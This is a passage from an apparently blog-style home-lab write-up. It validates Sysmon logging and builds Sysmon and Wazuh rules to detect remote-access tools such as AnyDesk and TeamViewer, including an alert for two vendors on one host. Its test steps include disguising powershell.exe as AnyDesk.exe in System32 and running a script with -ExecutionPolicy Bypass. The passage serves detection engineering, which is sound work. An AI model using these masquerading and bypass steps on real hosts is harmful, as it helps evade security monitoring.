$Config<br><br># Make sure it&#39;s running<br>Get-Service Sysmon64<br><br># Dump active config<br>&amp; $Sysmon -c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*OGOCizwtpBZHqm0m9waqOA.png" /><figcaption><strong>Sysmon is running</strong></figcaption></figure><h4><em>Confirm EID 1 fires first:</em></h4><pre># Rename an excluded file <br>Copy-Item &quot;C:\Windows\System32\whoami.exe&quot; &quot;C:\Windows\System32\not_whoami.exe&quot;<br>&amp; &quot;C:\Windows\System32\not_whoami.exe&quot;<br>Remove-Item &quot;C:\Windows\System32\not_whoami.exe&quot;<br><br># Check to see the EID 1 fired<br>Get-WinEvent -FilterHashtable @{LogName=&#39;Microsoft-Windows-Sysmon/Operational&#39;; Id=1} -MaxEvents 5 | <br>  Where-Object { $_.Message -match &#39;not_whoami&#39; } | Format-List TimeCreated, Id, Message</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S9TqukCf5PMzBuoRILw5dg.png" /><figcaption><strong>Successful EID 1 logging</strong></figcaption></figure><h4><em>Now confirm EID 6 fires:</em></h4><p>Now confirm EID 6 (driver load) fires. A quiet server isn’t loading new drivers moment to moment, so I force one: mounting a virtual hard disk makes the Windows kernel load its virtual-disk driver, vhdmp.sys, which generates a Driver Load event. That confirms Sysmon has visibility into kernel-level driver loads.</p><pre># Create a small VHD and attach it (forces vhdmp.sys to load)<br>$VhdPath = &quot;Z:\E\lab\05-Telemetry\test-disk.vhd&quot;<br><br>$DiskpartScript = @&quot;<br>create vdisk file=&quot;$VhdPath&quot; maximum=10 type=fixed<br>select vdisk file=&quot;$VhdPath&quot;<br>attach vdisk<br>&quot;@<br>$DiskpartScript | diskpart<br><br>Start-Sleep -Seconds 2</pre><p>With the driver freshly loaded, pull the most recent EID 6 event and save the raw XML so I can see the exact field structure:</p><pre>$e = Get-WinEvent -FilterHashtable @{LogName=&#39;Microsoft-Windows-Sysmon/Operational&#39;; Id=6} -MaxEvents 1<br>$e.ToXml() | Tee-Object -FilePath &quot;Z:\E\lab\05-Telemetry\eid6-sample.xml&quot;</pre><p><em>Detach and cleanup temp volume:</em></p><pre>$CleanupScript = @&quot;<br>select vdisk file=&quot;$VhdPath&quot;<br>detach vdisk<br>&quot;@<br>$CleanupScript | diskpart<br><br>Remove-Item $VhdPath -ErrorAction SilentlyContinue</pre><p><em>Result:</em></p><pre>&lt;EventData&gt;<br>  &lt;Data Name=&#39;RuleName&#39;&gt;-&lt;/Data&gt;<br>  &lt;Data Name=&#39;UtcTime&#39;&gt;2026-06-25 16:41:36.383&lt;/Data&gt;<br>  &lt;Data Name=&#39;ImageLoaded&#39;&gt;C:\Windows\System32\drivers\vhdmp.sys&lt;/Data&gt;<br>  &lt;Data Name=&#39;Hashes&#39;&gt;SHA256=7E0190B6429C1850D0EF1E9348F25EA4CEBE82B501B8F0826E819AB39A2447D7&lt;/Data&gt;<br>  &lt;Data Name=&#39;Signed&#39;&gt;true&lt;/Data&gt;<br>  &lt;Data Name=&#39;Signature&#39;&gt;Microsoft Windows&lt;/Data&gt;<br>  &lt;Data Name=&#39;SignatureStatus&#39;&gt;Valid&lt;/Data&gt;<br>&lt;/EventData&gt;</pre><p>The event carries everything a driver-load investigation needs: the SHA256 hash, the signed flag, and the signature chain with its validation status. That hash-and-signature structure is the input contract for the BYOVD detection rule I build in the follow-up. One honest note: vhdmp.sys is Microsoft-signed and valid, so it&#39;s benign, this test only proves the telemetry path is live. The real exercise, surfacing an unsigned or known-vulnerable driver, is the BYOVD lab.</p><h4>The Objective for EID 3:</h4><ul><li><strong>The Default State:</strong> In sysmon-modular, EID 3 runs on an onmatch=&quot;include&quot; framework (Default Deny). The firehose is clamped shut to preserve network performance and disk IOPS.</li><li><strong>The Target Surface:</strong> It currently only catches explicit, pre-defined red flags (such as execution out of \AppData\, \Temp\, or offensive port targets like 4444).</li><li><strong>The Gap to Bridge:</strong> An unauthorized or rogue RMM tool beaconing out of a legitimate directory (like C:\Program Files\) over standard HTTPS (Port 443) passes through silently.</li></ul><p><em>Confirm EID 3 fires at all:</em></p><pre># Force an outbound resolution/connection check over standard HTTP/HTTPS<br>Invoke-WebRequest -Uri &quot;https://www.google.com&quot; -UseBasicParsing<br><br># Query event stream for EID 3<br>Get-WinEvent -FilterHashtable @{LogName=&#39;Microsoft-Windows-Sysmon/Operational&#39;; Id=3} -MaxEvents 3 | Format-List TimeCreated, Id, Message</pre><p><em>Result:</em></p><pre>TimeCreated : 6/25/2026 9:48:08 AM<br>Id          : 3<br>Message     : Network connection detected:<br>              RuleName: technique_id=T1059.001,technique_name=PowerShell<br>              UtcTime: 2026-06-25 16:48:06.045<br>              ProcessGuid: {23c4e474-5904-6a3d-a900-000000001300}<br>              ProcessId: 6544<br>              Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe<br>              User: CORP\Administrator<br>              Protocol: tcp<br>              Initiated: true<br>              SourceIsIpv6: false<br>              SourceIp: 192.168.174.128<br>              SourceHostname: -<br>              SourcePort: 64595<br>              SourcePortName: -<br>              DestinationIsIpv6: false<br>              DestinationIp: 142.251.154.119<br>              DestinationHostname: -<br>              DestinationPort: 443<br>              DestinationPortName: -<br><br>TimeCreated : 6/25/2026 9:46:53 AM<br>Id          : 3<br>Message     : Network connection detected:<br>              RuleName: technique_id=T1036,technique_name=Masquerading<br>              UtcTime: 2026-06-25 16:46:51.485<br>              ProcessGuid: {23c4e474-58c3-6a3d-4000-000000001300}<br>              ProcessId: 2876<br>              Image: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26050.15-0\MpDefenderCoreService.exe<br>              User: NT AUTHORITY\SYSTEM<br>              Protocol: tcp<br>              Initiated: true<br>              SourceIsIpv6: false<br>              SourceIp: 192.168.174.128<br>              SourceHostname: -<br>              SourcePort: 64593<br>              SourcePortName: -<br>              DestinationIsIpv6: false<br>              DestinationIp: 52.123.247.95<br>              DestinationHostname: -<br>              DestinationPort: 443<br>              DestinationPortName: -<br><br>TimeCreated : 6/25/2026 9:36:52 AM<br>Id          : 3<br>Message     : Network connection detected:<br>              RuleName: technique_id=T1036,technique_name=Masquerading<br>              UtcTime: 2026-06-25 16:36:50.568<br>              ProcessGuid: {23c4e474-58c3-6a3d-4000-000000001300}<br>              ProcessId: 2876<br>              Image: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26050.15-0\MpDefenderCoreService.exe<br>              User: NT AUTHORITY\SYSTEM<br>              Protocol: tcp<br>              Initiated: true<br>              SourceIsIpv6: false<br>              SourceIp: 192.168.174.128<br>              SourceHostname: -<br>              SourcePort: 64552<br>              SourcePortName: -<br>              DestinationIsIpv6: false<br>              DestinationIp: 52.123.247.95<br>              DestinationHostname: -<br>              DestinationPort: 443<br>              DestinationPortName: -</pre><p>The PowerShell Match (powershell.exe)</p><ul><li><strong>Trigger:</strong> Invoke-WebRequest to Google over Port 443.</li><li><strong>Tagging:</strong> Appended with RuleName: technique_id=T1059.001,technique_name=PowerShell.</li><li><strong>Significance:</strong> Confirms that sysmon-modular flags network activity originating from monitored CLI utilities by default, regardless of whether the destination is a benign IP.</li></ul><p>The Defender Security Core Match (MpDefenderCoreService.exe)</p><ul><li><strong>Trigger:</strong> Outbound connection on Port 443 originating from C:\ProgramData\Microsoft\Windows Defender\Platform\...</li><li><strong>Tagging:</strong> Appended with RuleName: technique_id=T1036,technique_name=Masquerading.</li><li><strong>Significance:</strong> This is actually a false positive, and it tells the opposite story from the gap. Modular watches network connections from anything running out of C:\ProgramData, C:\Users, or C:\Windows\Temp, because those are classic places for malware to stage itself. Defender just happens to live in C:\ProgramData, so it gets swept up in that net. The real blind spot is the reverse of this: nothing is watching C:\Program Files, where trusted software installs, so a rogue RMM beaconing out from there on port 443 slips through without a trace. That is exactly the hole my custom rule is built to close.</li></ul><h3>Building the EID 3 RMM rule</h3><p><em>The rule itself:</em></p><pre>&lt;RuleGroup groupRelation=&quot;or&quot; name=&quot;technique_id=T1219,technique_name=Remote Access Software&quot;&gt;<br>  &lt;NetworkConnect onmatch=&quot;include&quot;&gt;<br>    &lt;Image condition=&quot;end with&quot;&gt;ScreenConnect.Client.exe&lt;/Image&gt;<br>    &lt;Image condition=&quot;end with&quot;&gt;AnyDesk.exe&lt;/Image&gt;<br>    &lt;Image condition=&quot;end with&quot;&gt;Tiflux.exe&lt;/Image&gt;<br>  &lt;/NetworkConnect&gt;<br>&lt;/RuleGroup&gt;</pre><p><em>Reload:</em></p><pre># 1. Clear out the previous build<br>Remove-Item &quot;$BaseDir\sysmonconfig.xml&quot; -Force -ErrorAction SilentlyContinue<br><br># 2. Reload the compilation definitions<br>. .\Merge-SysmonXml.ps1<br><br># 3. Compile the configuration cleanly<br>Merge-AllSysmonXml -Path (Get-ChildItem &#39;[0-9]*\*.xml&#39;) -AsString | Out-File .\sysmonconfig.xml -Encoding UTF8<br><br># 4. Verify string matching<br>Select-String -Path .\sysmonconfig.xml -Pattern &quot;ScreenConnect&quot;<br><br># sysmonconfig.xml:700: &lt;Image condition=&quot;end with&quot;&gt;ScreenConnect.Client.exe&lt;/Image&gt;</pre><p><em>Rename a known binary to </em><em>AnyDesk.exe and have it open a socket:</em></p><pre># Stage a binary under an RMM name<br>Copy-Item &quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&quot; &quot;C:\Windows\System32\AnyDesk.exe&quot; -ErrorAction SilentlyContinue<br><br># Open and hold a TCP connection so EID 3 fires<br>&amp; &quot;C:\Windows\System32\AnyDesk.exe&quot; -Command {<br>     $client = New-Object System.Net.Sockets.TcpClient<br>     $client.Connect(&#39;192.168.174.128&#39;, 445)<br>     Start-Sleep -Seconds 3<br>     $client.Close()<br>}<br><br>Start-Sleep -Seconds 1<br>Remove-Item &quot;C:\Windows\System32\AnyDesk.exe&quot; -Force<br><br>Get-WinEvent -FilterHashtable @{LogName=&#39;Microsoft-Windows-Sysmon/Operational&#39;; Id=3} -MaxEvents 10 |<br>   Where-Object { $_.Message -match &#39;AnyDesk&#39; -or $_.Message -match &#39;Remote Access Software&#39; } | Format-List TimeCreated, Id, Message</pre><p><em>Result:</em></p><pre>TimeCreated : 6/25/2026 10:29:46 AM<br>Id          : 3<br>Message     : Network connection detected:<br>              RuleName: technique_id=T1219,technique_name=Remote Access Software<br>              UtcTime: 2026-06-25 17:29:45.414<br>              ProcessGuid: {23c4e474-6589-6a3d-ef00-000000001300}<br>              ProcessId: 6000<br>              Image: C:\Windows\System32\AnyDesk.exe<br>              User: CORP\Administrator<br>              Protocol: tcp<br>              Initiated: true<br>              SourceIsIpv6: false<br>              SourceIp: 192.168.174.128<br>              SourceHostname: -<br>              SourcePort: 64720<br>              SourcePortName: -<br>              DestinationIsIpv6: false<br>              DestinationIp: 192.168.174.128<br>              DestinationHostname: -<br>              DestinationPort: 445<br>              DestinationPortName: -</pre><p>There is also the objection I raised earlier still sitting on the table: nothing stops an attacker from renaming their AnyDesk or ScreenConnect binary to anything they please, and a filename-based include rule would never see it. As the logic stands, the configuration is effectively performing <strong>RMM identification</strong>, not <strong>RMM multiplicity detection</strong>. To move from “detecting an RMM” to “detecting an incident,” we have to shift our logic from a <strong>static filter</strong> (which happens in the Sysmon driver) to a <strong>stateful correlation</strong> (which happens in our SIEM/Wazuh).</p><p><strong>The Detection Logic (The Brain):</strong></p><ul><li><em>If</em> I see RMM Tool A (Process 1) AND <em>if</em> I see RMM Tool B (Process 2) on the same host within a specific timeframe ($T$), <em>then</em> trigger the “Multiplicity Incident” alert.</li></ul><p>This brings us to OriginalFileName, which is the name the software vendor compiles into the binary’s PE (portable executable) version resource. Renaming the file on disk still reports the same OriginalFileName. An attacker can still edit this resource, which requires further behavioral detection logic through Wazuh, but this addition should still be included to add depth to our defense. In order to do that, we have to revisit EID 1 — ProcessCreate.</p><pre>&lt;RuleGroup groupRelation=&quot;or&quot; name=&quot;technique_id=T1219,technique_name=Remote Access Software&quot;&gt;<br>  &lt;ProcessCreate onmatch=&quot;include&quot;&gt;<br>    &lt;OriginalFileName condition=&quot;is&quot;&gt;AnyDesk.exe&lt;/OriginalFileName&gt;<br>    &lt;OriginalFileName condition=&quot;is&quot;&gt;ScreenConnect.Client.exe&lt;/OriginalFileName&gt;<br>  &lt;/ProcessCreate&gt;<br>&lt;/RuleGroup&gt;<br><br># Check event log<br>Get-WinEvent -FilterHashtable @{LogName=&#39;Microsoft-Windows-Sysmon/Operational&#39;; Id=1} -MaxEvents 30 |<br>  Where-Object { $_.Message -match &#39;AnyDesk&#39; } | Format-List TimeCreated, Id, Message</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*1LU1vWWyjV_O0cPGbuM0HQ.png" /><figcaption><strong>OriginalFileName is empty</strong></figcaption></figure><p>Just one issue. For AnyDesk.exe the OriginalFileName field is empty. We have to anchor onto something compiled into the executable itself. The lesson is one you only learn by testing: you cannot assume a metadata field is filled. You anchor on whatever the vendor actually populates. For AnyDesk, that is Company.</p><p>Getting this rule to actually tag took one more round of debugging worth sharing. My first version put the technique name on the &lt;RuleGroup&gt;, the same way I had done it for the network rule earlier. It compiled in fine and AnyDesk showed up in the logs, but every event came back with RuleName: - instead of my T1219 tag. The reason is in how the merger works: it folds your custom rule into modular&#39;s existing ProcessCreate group and drops your group-level name along the way. Modular&#39;s own rules sidestep this by putting the technique name on the individual field element instead of the group, so that is where mine had to go too, right on the &lt;Company&gt; line:</p><pre>&lt;Sysmon schemaversion=&quot;4.90&quot;&gt;<br>  &lt;EventFiltering&gt;<br>    &lt;RuleGroup groupRelation=&quot;or&quot; name=&quot;&quot;&gt;<br>      &lt;ProcessCreate onmatch=&quot;include&quot;&gt;<br>        &lt;Company name=&quot;technique_id=T1219,technique_name=Remote Access Software&quot; condition=&quot;is&quot;&gt;AnyDesk Software GmbH&lt;/Company&gt;<br>        &lt;OriginalFileName name=&quot;technique_id=T1219,technique_name=Remote Access Software&quot; condition=&quot;is&quot;&gt;ScreenConnect.Client.exe&lt;/OriginalFileName&gt;<br>      &lt;/ProcessCreate&gt;<br>    &lt;/RuleGroup&gt;<br>  &lt;/EventFiltering&gt;<br>&lt;/Sysmon&gt;</pre><p>With the name on the field instead of the group, the tag finally survives the merge. Two honest limits. Company, like any PE resource, can be forged by an attacker willing to edit it, so this adds depth rather than finality. And the one genuinely tamper-resistant signal, the code-signing certificate, is not carried in EID 1 telemetry, which is exactly why deeper verification, &quot;is this really signed by AnyDesk Software GmbH,&quot; belongs in Wazuh alongside the multiplicity logic. A tightening roadmap includes adding parent child process correlation from EID 1 and checking for Integrity Level equal to System on the child process. This writeup implements the multiplicity detection now. Code signing verification in Wazuh is the next step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*3o9LkFFTzuwu2CR6N-O0HA.png" /><figcaption><strong>totally_legit.exe caught by Company name</strong></figcaption></figure><h3>Building the Base Wazuh rule</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lfbqTqgOxzri9xuOsr7OBw.png" /></figure><p>Onto the behavioral logic. First, let’s take a peak at the Linux and Wazuh versions and ensure the Wazuh services are running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*05izoUAW_wbVTurxG_nDmg.png" /></figure><ul><li>Ubuntu 26.04 LTS (Resolute Raccoon)</li><li>Wazuh v4.14.5</li></ul><p>Fresh Ubuntu VM, fresh Wazuh install. Sysmon is logging, and a Wazuh agent is running on the Windows box to forward events to the Wazuh manager on the SIEM01 Ubuntu VM. I type my SIEM01 IP address into my host web browser, accept the self-signed certificate, log in using the admin account after changing the default password, and marvel at what a fresh Wazuh+Sysmon build displays:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T4PaJx__UYyfak_BbffHjA.png" /></figure><p>33 “Critical” alerts in 24 hours, all the same rule: 92213, “Executable file dropped in a folder commonly used by malware.” Every time PowerShell is about to run a script, it does a quick self-check: “am I allowed to run scripts here?” To perform that check it writes a tiny throwaway file named __PSScriptPolicyTest_&lt;random&gt;.ps1 into the Temp folder, looks at it, and deletes it a split second later. That is normal PowerShell behavior, built into Windows. Two innocent facts collided, and the rule only saw the shape, not the intent:</p><ol><li>The throwaway file ends in .ps1, which counts as a script (an &quot;executable-ish&quot; thing).</li><li>It lands in AppData\Local\Temp, which is a folder real malware loves to abuse.</li></ol><p>So the rule’s logic was “a script just got dropped into a sketchy folder = Critical,” with no idea it was PowerShell checking its own permissions. Before we continue building the RMM detection logic, let’s filter out the noise so I can reduce the benign “Critical” alerts.</p><pre>&lt;rule id=&quot;100250&quot; level=&quot;0&quot;&gt;<br>  &lt;if_sid&gt;92213&lt;/if_sid&gt;<br>  &lt;field name=&quot;win.eventdata.targetFilename&quot;&gt;__PSScriptPolicyTest&lt;/field&gt;<br>  &lt;description&gt;Benign: PowerShell execution-policy probe file (tuned out)&lt;/description&gt;<br>&lt;/rule&gt;</pre><p>And the probe file test:</p><pre>Set-Content -Path C:\Windows\Temp\t.ps1 -Value &#39;Get-Date&#39;; 1..3 | <br>ForEach-Object <br>{ powershell -ExecutionPolicy Bypass -File C:\Windows\Temp\t.ps1 | Out-Null }; <br>Remove-Item C:\Windows\Temp\t.ps1 -Force</pre><p>The 92213 critical timestamp stayed at last generated time even though I forced probe-file drops — no new criticals. I ran a test for the 92113 SID for the last 15 minutes just to be sure:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yj2vqep8bfzxeIPjjtedpg.png" /></figure><p>Benign PowerShell alerts eliminated. Onto to our RMM Wazuh rules:</p><pre>&lt;group name=&quot;sysmon,rmm,&quot;&gt;<br><br>  &lt;!-- 100210: identify an RMM process by embedded PE Company metadata (rename-proof). --&gt;<br>  &lt;rule id=&quot;100210&quot; level=&quot;3&quot;&gt;<br>    &lt;if_group&gt;sysmon_event1&lt;/if_group&gt;<br>    &lt;field name=&quot;win.eventdata.company&quot;&gt;AnyDesk Software GmbH|TeamViewer|Atera Networks|Splashtop|MeshCentral|ConnectWise&lt;/field&gt;<br>    &lt;description&gt;RMM process launched: $(win.eventdata.company)&lt;/description&gt;<br>    &lt;mitre&gt;&lt;id&gt;T1219&lt;/id&gt;&lt;/mitre&gt;<br>    &lt;group&gt;rmm_detected,&lt;/group&gt;<br>  &lt;/rule&gt;<br><br>  &lt;!-- 100211: MULTIPLICITY. 2+ DISTINCT vendor Company values on the SAME host inside 600s. --&gt;<br>  &lt;rule id=&quot;100211&quot; level=&quot;12&quot; frequency=&quot;2&quot; timeframe=&quot;600&quot;&gt;<br>    &lt;if_matched_sid&gt;100210&lt;/if_matched_sid&gt;<br>    &lt;same_field&gt;win.system.computer&lt;/same_field&gt;<br>    &lt;different_field&gt;win.eventdata.company&lt;/different_field&gt;<br>    &lt;description&gt;RMM MULTIPLICITY: 2+ distinct remote-access tool vendors on $(win.system.computer)&lt;/description&gt;<br>    &lt;mitre&gt;&lt;id&gt;T1219&lt;/id&gt;&lt;/mitre&gt;<br>    &lt;group&gt;rmm_detected,rmm_multiplicity,&lt;/group&gt;<br>  &lt;/rule&gt;<br><br>&lt;/group&gt;</pre><p>First let’s take a look at rule 100210, this is the Wazuh alert version of the RMM detection rule we had Sysmon pick up earlier which is triggered by company name in case the executable itself is renamed. Let’s ensure it fires in the Wazuh dashboard after launching AnyDesk.exe on Windows:</p><pre>Start-Process &quot;C:\Program Files (x86)\AnyDesk\AnyDesk.exe&quot;<br>-ArgumentList &quot;--control&quot;; Start-Sleep 4; <br>Stop-Process -Name AnyDesk -Force -ErrorAction SilentlyContinue</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ED3hCYp_LWcR1UOzMSWFg.png" /></figure><p>Check the SIEM01 CLI:</p><pre>sudo grep &#39;&quot;id&quot;:&quot;100210&quot;&#39; /var/ossec/logs/alerts/alerts.json | tail -1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2q20mOHAh804yDxglvmarw.png" /></figure><p>Wazuh alerts are working. Onto the multiplicity test. I installed TeamViewer in addition to AnyDesk and made sure it tripped the base RMM rule via the company name TeamViewer Germany GmbH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*5UYiKYIvBrCVuApEKwxLVQ.png" /></figure><p>Both RMM tools are alerting Wazuh when launched. Now let’s launch one, and then the other (within a 10 minute window, per the rule created) and ensure the multiplicity rule fires:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sbZPprizfQfVRNAgUDheMw.png" /></figure><p>Full JSON:</p><pre>{<br>  &quot;_index&quot;: &quot;wazuh-alerts-4.x-2026.06.29&quot;,<br>  &quot;_id&quot;: &quot;adsWEZ8B7EIPBhKqNazc&quot;,<br>  &quot;_version&quot;: 1,<br>  &quot;_score&quot;: null,<br>  &quot;_source&quot;: {<br>    &quot;input&quot;: {<br>      &quot;type&quot;: &quot;log&quot;<br>    },<br>    &quot;agent&quot;: {<br>      &quot;ip&quot;: &quot;10.10.10.11&quot;,<br>      &quot;name&quot;: &quot;DC01&quot;,<br>      &quot;id&quot;: &quot;001&quot;<br>    },<br>    &quot;manager&quot;: {<br>      &quot;name&quot;: &quot;siem01&quot;<br>    },<br>    &quot;data&quot;: {<br>      &quot;win&quot;: {<br>        &quot;eventdata&quot;: {<br>          &quot;originalFileName&quot;: &quot;TeamViewer.exe&quot;,<br>          &quot;image&quot;: &quot;C:\\\\Program Files\\\\TeamViewer\\\\TeamViewer.exe&quot;,<br>          &quot;product&quot;: &quot;TeamViewer Full&quot;,<br>          &quot;parentProcessGuid&quot;: &quot;{23c4e474-67b8-6a41-9d00-000000001800}&quot;,<br>          &quot;description&quot;: &quot;TeamViewer&quot;,<br>          &quot;logonGuid&quot;: &quot;{23c4e474-67b2-6a41-5969-0f0000000000}&quot;,<br>          &quot;parentCommandLine&quot;: &quot;\\\&quot;C:\\\\Windows\\\\Explorer.EXE\\\&quot; /NoUACCheck&quot;,<br>          &quot;processGuid&quot;: &quot;{23c4e474-d06c-6a41-d304-000000001800}&quot;,<br>          &quot;logonId&quot;: &quot;0xf6959&quot;,<br>          &quot;parentProcessId&quot;: &quot;6388&quot;,<br>          &quot;processId&quot;: &quot;6896&quot;,<br>          &quot;currentDirectory&quot;: &quot;C:\\\\Program Files\\\\TeamViewer\\\\&quot;,<br>          &quot;utcTime&quot;: &quot;2026-06-29 01:54:52.130&quot;,<br>          &quot;hashes&quot;: &quot;SHA1=37A1B530F9864B12AA0BEBB03D4D30ECB6812A11,MD5=2329E3CCA3EDF9C9B6FD4E0F5E6AF67F,SHA256=452ACDC46E96548EA84555CB2960160AB88C8F8B02AF5F00519CABE0DB6C6B3C,IMPHASH=8953F0CB4AE46C6FE315B39F8529708B&quot;,<br>          &quot;parentImage&quot;: &quot;C:\\\\Windows\\\\explorer.exe&quot;,<br>          &quot;ruleName&quot;: &quot;technique_id=T1204,technique_name=User Execution&quot;,<br>          &quot;company&quot;: &quot;TeamViewer Germany GmbH&quot;,<br>          &quot;commandLine&quot;: &quot;\\\&quot;C:\\\\Program Files\\\\TeamViewer\\\\TeamViewer.exe\\\&quot;&quot;,<br>          &quot;integrityLevel&quot;: &quot;High&quot;,<br>          &quot;fileVersion&quot;: &quot;15.79.4.0&quot;,<br>          &quot;user&quot;: &quot;CORP\\\\Administrator&quot;,<br>          &quot;terminalSessionId&quot;: &quot;1&quot;,<br>          &quot;parentUser&quot;: &quot;CORP\\\\Administrator&quot;<br>        },<br>        &quot;system&quot;: {<br>          &quot;eventID&quot;: &quot;1&quot;,<br>          &quot;keywords&quot;: &quot;0x8000000000000000&quot;,<br>          &quot;providerGuid&quot;: &quot;{5770385f-c22a-43e0-bf4c-06f5698ffbd9}&quot;,<br>          &quot;level&quot;: &quot;4&quot;,<br>          &quot;channel&quot;: &quot;Microsoft-Windows-Sysmon/Operational&quot;,<br>          &quot;opcode&quot;: &quot;0&quot;,<br>          &quot;message&quot;: &quot;\&quot;Process Create:\r\nRuleName: technique_id=T1204,technique_name=User Execution\r\nUtcTime: 2026-06-29 01:54:52.130\r\nProcessGuid: {23c4e474-d06c-6a41-d304-000000001800}\r\nProcessId: 6896\r\nImage: C:\\Program Files\\TeamViewer\\TeamViewer.exe\r\nFileVersion: 15.79.4.0\r\nDescription: TeamViewer\r\nProduct: TeamViewer Full\r\nCompany: TeamViewer Germany GmbH\r\nOriginalFileName: TeamViewer.exe\r\nCommandLine: \&quot;C:\\Program Files\\TeamViewer\\TeamViewer.exe\&quot; \r\nCurrentDirectory: C:\\Program Files\\TeamViewer\\\r\nUser: CORP\\Administrator\r\nLogonGuid: {23c4e474-67b2-6a41-5969-0f0000000000}\r\nLogonId: 0xF6959\r\nTerminalSessionId: 1\r\nIntegrityLevel: High\r\nHashes: SHA1=37A1B530F9864B12AA0BEBB03D4D30ECB6812A11,MD5=2329E3CCA3EDF9C9B6FD4E0F5E6AF67F,SHA256=452ACDC46E96548EA84555CB2960160AB88C8F8B02AF5F00519CABE0DB6C6B3C,IMPHASH=8953F0CB4AE46C6FE315B39F8529708B\r\nParentProcessGuid: {23c4e474-67b8-6a41-9d00-000000001800}\r\nParentProcessId: 6388\r\nParentImage: C:\\Windows\\explorer.exe\r\nParentCommandLine: \&quot;C:\\Windows\\Explorer.EXE\&quot; /NoUACCheck\r\nParentUser: CORP\\Administrator\&quot;&quot;,<br>          &quot;version&quot;: &quot;5&quot;,<br>          &quot;systemTime&quot;: &quot;2026-06-29T01:54:52.9377265Z&quot;,<br>          &quot;eventRecordID&quot;: &quot;17251&quot;,<br>          &quot;threadID&quot;: &quot;4260&quot;,<br>          &quot;computer&quot;: &quot;DC01.corp.local&quot;,<br>          &quot;task&quot;: &quot;1&quot;,<br>          &quot;processID&quot;: &quot;2496&quot;,<br>          &quot;severityValue&quot;: &quot;INFORMATION&quot;,<br>          &quot;providerName&quot;: &quot;Microsoft-Windows-Sysmon&quot;<br>        }<br>      }<br>    },<br>    &quot;rule&quot;: {<br>      &quot;firedtimes&quot;: 1,<br>      &quot;mail&quot;: true,<br>      &quot;level&quot;: 12,<br>      &quot;description&quot;: &quot;RMM MULTIPLICITY: 2+ distinct remote-access tool vendors on DC01.corp.local&quot;,<br>      &quot;groups&quot;: [<br>        &quot;sysmon&quot;,<br>        &quot;rmm&quot;,<br>        &quot;rmm_detected&quot;,<br>        &quot;rmm_multiplicity&quot;<br>      ],<br>      &quot;mitre&quot;: {<br>        &quot;technique&quot;: [<br>          &quot;Remote Access Software&quot;<br>        ],<br>        &quot;id&quot;: [<br>          &quot;T1219&quot;<br>        ],<br>        &quot;tactic&quot;: [<br>          &quot;Command and Control&quot;<br>        ]<br>      },<br>      &quot;id&quot;: &quot;100211&quot;,<br>      &quot;frequency&quot;: 2<br>    },<br>    &quot;location&quot;: &quot;EventChannel&quot;,<br>    &quot;decoder&quot;: {<br>      &quot;name&quot;: &quot;windows_eventchannel&quot;<br>    },<br>    &quot;id&quot;: &quot;1782698093.38689680&quot;,<br>    &quot;full_log&quot;: &quot;{\&quot;win\&quot;:{\&quot;system\&quot;:{\&quot;providerName\&quot;:\&quot;Microsoft-Windows-Sysmon\&quot;,\&quot;providerGuid\&quot;:\&quot;{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\&quot;,\&quot;eventID\&quot;:\&quot;1\&quot;,\&quot;version\&quot;:\&quot;5\&quot;,\&quot;level\&quot;:\&quot;4\&quot;,\&quot;task\&quot;:\&quot;1\&quot;,\&quot;opcode\&quot;:\&quot;0\&quot;,\&quot;keywords\&quot;:\&quot;0x8000000000000000\&quot;,\&quot;systemTime\&quot;:\&quot;2026-06-29T01:54:52.9377265Z\&quot;,\&quot;eventRecordID\&quot;:\&quot;17251\&quot;,\&quot;processID\&quot;:\&quot;2496\&quot;,\&quot;threadID\&quot;:\&quot;4260\&quot;,\&quot;channel\&quot;:\&quot;Microsoft-Windows-Sysmon/Operational\&quot;,\&quot;computer\&quot;:\&quot;DC01.corp.local\&quot;,\&quot;severityValue\&quot;:\&quot;INFORMATION\&quot;,\&quot;message\&quot;:\&quot;\\\&quot;Process Create:\\r\\nRuleName: technique_id=T1204,technique_name=User Execution\\r\\nUtcTime: 2026-06-29 01:54:52.130\\r\\nProcessGuid: {23c4e474-d06c-6a41-d304-000000001800}\\r\\nProcessId: 6896\\r\\nImage: C:\\\\Program Files\\\\TeamViewer\\\\TeamViewer.exe\\r\\nFileVersion: 15.79.4.0\\r\\nDescription: TeamViewer\\r\\nProduct: TeamViewer Full\\r\\nCompany: TeamViewer Germany GmbH\\r\\nOriginalFileName: TeamViewer.exe\\r\\nCommandLine: \\\&quot;C:\\\\Program Files\\\\TeamViewer\\\\TeamViewer.exe\\\&quot; \\r\\nCurrentDirectory: C:\\\\Program Files\\\\TeamViewer\\\\\\r\\nUser: CORP\\\\Administrator\\r\\nLogonGuid: {23c4e474-67b2-6a41-5969-0f0000000000}\\r\\nLogonId: 0xF6959\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=37A1B530F9864B12AA0BEBB03D4D30ECB6812A11,MD5=2329E3CCA3EDF9C9B6FD4E0F5E6AF67F,SHA256=452ACDC46E96548EA84555CB2960160AB88C8F8B02AF5F00519CABE0DB6C6B3C,IMPHASH=8953F0CB4AE46C6FE315B39F8529708B\\r\\nParentProcessGuid: {23c4e474-67b8-6a41-9d00-000000001800}\\r\\nParentProcessId: 6388\\r\\nParentImage: C:\\\\Windows\\\\explorer.exe\\r\\nParentCommandLine: \\\&quot;C:\\\\Windows\\\\Explorer.EXE\\\&quot; /NoUACCheck\\r\\nParentUser: 